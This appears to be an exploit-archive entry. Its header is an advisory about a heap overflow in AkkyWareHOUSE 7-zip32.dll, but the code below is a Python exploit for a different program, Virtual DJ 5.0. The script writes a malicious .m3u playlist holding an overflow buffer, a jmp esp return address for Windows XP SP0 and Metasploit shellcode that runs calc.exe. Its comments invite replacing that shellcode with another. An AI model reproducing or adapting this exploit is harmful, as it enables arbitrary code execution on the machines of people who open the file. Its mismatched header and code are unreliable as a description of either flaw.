AkkyWareHOUSE '7-zip32.dll' 4.42 - Heap Buffer Overflow

source: https://www.securityfocus.com/bid/25545/info


AkkyWareHOUSE 7-zip32.dll is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input.

Attackers may be able to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Versions prior to 7-zip32.dll 4.42.00.04 are vulnerable.

#Virtual DJ 5.0 Local Buffer OverFlow
#224 bytes available for shellcode,, you can replace it with you
favourite one,,
#ret addr -> 0x7199403D      jmp esp in mswsock.dll Winxp sp0
#exploit : [A x 484] +[EIP - jmp esp - 4] + [Nops -10] + [Shellcode
-224]
#Discovred by 0x58 && Coded By miyy3t,,Midt's lab !!
#Greetz : M.i.d.t,, Diablos5s5s,, Simo64 ,, s4mi,, issam ,,
Metasploit,,Str0ke & All Mor0Ccan & Muslims h4xorz
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub
http://metasploit.com

shellcode =
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84"
shellcode+=
"\xd1\xfe\xd8\x83\xeb\xfc\xe2\xf4\x78\x39\xba\xd8\x84\xd1\x75\x9d"
shellcode+=
"\xb8\x5a\x82\xdd\xfc\xd0\x11\x53\xcb\xc9\x75\x87\xa4\xd0\x15\x91"
shellcode+=
"\x0f\xe5\x75\xd9\x6a\xe0\x3e\x41\x28\x55\x3e\xac\x83\x10\x34\xd5"
shellcode+=
"\x85\x13\x15\x2c\xbf\x85\xda\xdc\xf1\x34\x75\x87\xa0\xd0\x15\xbe"
shellcode+=
"\x0f\xdd\xb5\x53\xdb\xcd\xff\x33\x0f\xcd\x75\xd9\x6f\x58\xa2\xfc"
shellcode+=
"\x80\x12\xcf\x18\xe0\x5a\xbe\xe8\x01\x11\x86\xd4\x0f\x91\xf2\x53"
shellcode+=
"\xf4\xcd\x53\x53\xec\xd9\x15\xd1\x0f\x51\x4e\xd8\x84\xd1\x75\xb0"
shellcode+=
"\xb8\x8e\xcf\x2e\xe4\x87\x77\x20\x07\x11\x85\x88\xec\x21\x74\xdc"
shellcode+=
"\xdb\xb9\x66\x26\x0e\xdf\xa9\x27\x63\xb2\x9f\xb4\xe7\xff\x9b\xa0"
shellcode+= "\xe1\xd1\xfe\xd8"

bof = "A"*484+"\x3D\x40\x99\x71"+"\x90"*10+shellcode

file = open('c:\/xploit.m3u','w+')
file.write("#EXTM3U\n");
file.write("#EXTINF:0,TITLE\n")
file.write("C:/")
file.write(bof)
file.close()

print "Exploit generated in c:\/xploit.m3u ...now open it with virtual
dj !! "